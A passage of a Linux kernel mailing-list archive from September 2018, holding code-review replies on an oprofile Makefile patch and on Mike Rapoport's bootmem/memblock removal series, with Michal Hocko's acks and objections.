        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-parisc-owner@vger.kernel.org
To: =?UTF-8?Q?Leonardo_Br=C3=A1s?= <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 09:30:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g54HY-00083f-3f
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 09:30:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727255AbeIZNob (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 09:44:31 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:40757 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726951AbeIZNoa (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 09:44:30 -0400
Original-Received: (qmail 14520 invoked from network); 26 Sep 2018 07:26:14 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:60248 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <leobras.c@gmail.com>; Wed, 26 Sep 2018 09:26:14 +0200
In-Reply-To: <20180926015305.GA14994@WindFlash>
X-Sender: eike-kernel@sf-tec.de
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881844 gmane.linux.oprofile:13227 gmane.linux.ports.parisc:29003
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881844>

Leonardo Brás wrote:
> Creates new Makefile to avoid building driver if
> 'make drivers/oprofile/' is called directly.
> 
> This driver is usually built from arch/$ARCH and seems to have
> no meaning building alone.
> 
> Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
> ---
>  drivers/oprofile/Makefile | 1 +
>  1 file changed, 1 insertion(+)
>  create mode 100644 drivers/oprofile/Makefile
> 
> diff --git a/drivers/oprofile/Makefile b/drivers/oprofile/Makefile
> new file mode 100644
> index 000000000000..6b36c93e9762
> --- /dev/null
> +++ b/drivers/oprofile/Makefile
> @@ -0,0 +1 @@
> +#Does nothing, since the source is called from arch/$ARCH/ tree.
> \ No newline at end of file
     ^^^^^^^^^^^^^^^^^^^^^^^^^

Is that intentional or bogus?

Eike


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 02/30] mm: remove CONFIG_NO_BOOTMEM
Date: Wed, 26 Sep 2018 11:22:39 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20180926092239.GK6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-3-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537953650 14213 195.159.176.226 (26 Sep 2018 09:20:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:20:50 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:20:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g55zr-0003Wg-Ko
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:20:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728058AbeIZPet (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:34:49 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:46508 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1727326AbeIZPes (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:34:48 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 0994CB044;
        Wed, 26 Sep 2018 09:22:44 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-3-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881996 gmane.linux.kernel.mm:203966 gmane.linux.ports.alpha:5251 gmane.linux.ports.arm.kernel:676340 gmane.linux.ports.hexagon:1861 gmane.linux.ports.ia64:29277 gmane.linux.ports.mips.general:66851 gmane.linux.ports.parisc:29004 gmane.linux.ports.ppc64.devel:163047 gmane.linux.ports.riscv:893 gmane.linux.ports.sh.devel:57541 gmane.linux.kernel.arc:4448 gmane.linux.ports.sparc:28464
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881996>

On Fri 14-09-18 15:10:17, Mike Rapoport wrote:
> All achitectures select NO_BOOTMEM which essentially becomes 'Y' for any
> kernel configuration and therefore it can be removed.

git grep suggests that DEFERRED_STRUCT_PAGE_INIT still depends on
NO_BOOTMEM but I have a vague feeling that I've seen a patch to address
that. It would be great to have it folded to this one.

> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>

Acked-by: Michal Hocko <mhocko@suse.com>
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 03/30] mm: remove CONFIG_HAVE_MEMBLOCK
Date: Wed, 26 Sep 2018 11:24:04 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20180926092404.GL6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537953734 21250 195.159.176.226 (26 Sep 2018 09:22:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:22:14 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:22:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g561C-0004BP-Ru
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:22:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728255AbeIZPgN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:36:13 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:47058 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1727857AbeIZPgM (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:36:12 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id D477EAE02;
        Wed, 26 Sep 2018 09:24:08 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881998 gmane.linux.kernel.mm:203967 gmane.linux.ports.alpha:5252 gmane.linux.ports.arm.kernel:676341 gmane.linux.ports.hexagon:1862 gmane.linux.ports.ia64:29278 gmane.linux.ports.mips.general:66852 gmane.linux.ports.parisc:29005 gmane.linux.ports.ppc64.devel:163048 gmane.linux.ports.riscv:894 gmane.linux.ports.sh.devel:57542 gmane.linux.kernel.arc:4449 gmane.linux.ports.sparc:28465
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881998>

On Fri 14-09-18 15:10:18, Mike Rapoport wrote:
> All architecures use memblock for early memory management. There is no need
> for the CONFIG_HAVE_MEMBLOCK configuration option.

git grep says
arch/csky/Kconfig:  select HAVE_MEMBLOCK

> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>

Other than that
Acked-by: Michal Hocko <mhocko@suse.com>
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 05/30] mm: nobootmem: remove dead code
Date: Wed, 26 Sep 2018 11:25:29 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20180926092529.GM6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-6-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537953815 27198 195.159.176.226 (26 Sep 2018 09:23:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:23:35 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:23:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g562X-0004BP-JQ
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:23:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728227AbeIZPhf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:37:35 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:47304 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1726777AbeIZPhf (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:37:35 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id B0991AE25;
        Wed, 26 Sep 2018 09:25:30 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-6-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881999 gmane.linux.kernel.mm:203968 gmane.linux.ports.alpha:5253 gmane.linux.ports.arm.kernel:676342 gmane.linux.ports.hexagon:1863 gmane.linux.ports.ia64:29279 gmane.linux.ports.mips.general:66853 gmane.linux.ports.parisc:29006 gmane.linux.ports.ppc64.devel:163049 gmane.linux.ports.riscv:895 gmane.linux.ports.sh.devel:57543 gmane.linux.kernel.arc:4450 gmane.linux.ports.sparc:28466
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881999>

On Fri 14-09-18 15:10:20, Mike Rapoport wrote:
> Several bootmem functions and macros are not used. Remove them.
> 
> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>

Acked-by: Michal Hocko <mhocko@suse.com>
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 07/30] memblock: remove _virt from APIs returning virtual
 address
Date: Wed, 26 Sep 2018 11:27:54 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20180926092754.GN6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-8-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537953959 5521 195.159.176.226 (26 Sep 2018 09:25:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:25:59 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:25:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g564s-0001F3-MB
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:25:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728330AbeIZPkB (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:40:01 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:47976 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1727603AbeIZPkB (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:40:01 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id E137BAEAC;
        Wed, 26 Sep 2018 09:27:55 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-8-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882003 gmane.linux.kernel.mm:203969 gmane.linux.ports.alpha:5254 gmane.linux.ports.arm.kernel:676344 gmane.linux.ports.hexagon:1864 gmane.linux.ports.ia64:29280 gmane.linux.ports.mips.general:66854 gmane.linux.ports.parisc:29007 gmane.linux.ports.ppc64.devel:163051 gmane.linux.ports.riscv:896 gmane.linux.ports.sh.devel:57544 gmane.linux.kernel.arc:4451 gmane.linux.ports.sparc:28467
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882003>

On Fri 14-09-18 15:10:22, Mike Rapoport wrote:
> The conversion is done using
> 
> sed -i 's@memblock_virt_alloc@memblock_alloc@g' \
> 	$(git grep -l memblock_virt_alloc)
> 
> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>

As I've said earlier, I am not entirely thrilled by this change. It is
unnecessary churn. So if nothing else just add a note _why_ you think
this is better.
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 14/30] memblock: add align parameter to
 memblock_alloc_node()
Date: Wed, 26 Sep 2018 11:31:27 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <20180926093127.GO6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-15-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537954177 22823 195.159.176.226 (26 Sep 2018 09:29:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:29:37 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:29:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g568O-0005jn-6i
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:29:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727533AbeIZPnj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:43:39 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:48592 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1726497AbeIZPni (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:43:38 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id A918EB04E;
        Wed, 26 Sep 2018 09:31:31 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-15-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882009 gmane.linux.kernel.mm:203970 gmane.linux.ports.alpha:5255 gmane.linux.ports.arm.kernel:676346 gmane.linux.ports.hexagon:1865 gmane.linux.ports.ia64:29281 gmane.linux.ports.mips.general:66855 gmane.linux.ports.parisc:29008 gmane.linux.ports.ppc64.devel:163053 gmane.linux.ports.riscv:897 gmane.linux.ports.sh.devel:57545 gmane.linux.kernel.arc:4452 gmane.linux.ports.sparc:28468
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882009>

On Fri 14-09-18 15:10:29, Mike Rapoport wrote:
> With the align parameter memblock_alloc_node() can be used as drop in
> replacement for alloc_bootmem_pages_node() and __alloc_bootmem_node(),
> which is done in the following patches.

/me confused. Why do we need this patch at all? Maybe it should be
folded into the later patch you are refereing here?

> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
> ---
>  include/linux/bootmem.h | 4 ++--
>  mm/sparse.c             | 2 +-
>  2 files changed, 3 insertions(+), 3 deletions(-)
> 
> diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
> index 7d91f0f..3896af2 100644
> --- a/include/linux/bootmem.h
> +++ b/include/linux/bootmem.h
> @@ -157,9 +157,9 @@ static inline void * __init memblock_alloc_from_nopanic(
>  }
>  
>  static inline void * __init memblock_alloc_node(
> -						phys_addr_t size, int nid)
> +		phys_addr_t size, phys_addr_t align, int nid)
>  {
> -	return memblock_alloc_try_nid(size, 0, BOOTMEM_LOW_LIMIT,
> +	return memblock_alloc_try_nid(size, align, BOOTMEM_LOW_LIMIT,
>  					    BOOTMEM_ALLOC_ACCESSIBLE, nid);
>  }
>  
> diff --git a/mm/sparse.c b/mm/sparse.c
> index 04e97af..509828f 100644
> --- a/mm/sparse.c
> +++ b/mm/sparse.c
> @@ -68,7 +68,7 @@ static noinline struct mem_section __ref *sparse_index_alloc(int nid)
>  	if (slab_is_available())
>  		section = kzalloc_node(array_size, GFP_KERNEL, nid);
>  	else
> -		section = memblock_alloc_node(array_size, nid);
> +		section = memblock_alloc_node(array_size, 0, nid);
>  
>  	return section;
>  }
> -- 
> 2.7.4
> 

-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 14/30] memblock: add align parameter to
 memblock_alloc_node()
Date: Wed, 26 Sep 2018 11:36:48 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20180926093648.GP6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-15-git-send-email-rppt@linux.vnet.ibm.com>
 <20180926093127.GO6278@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
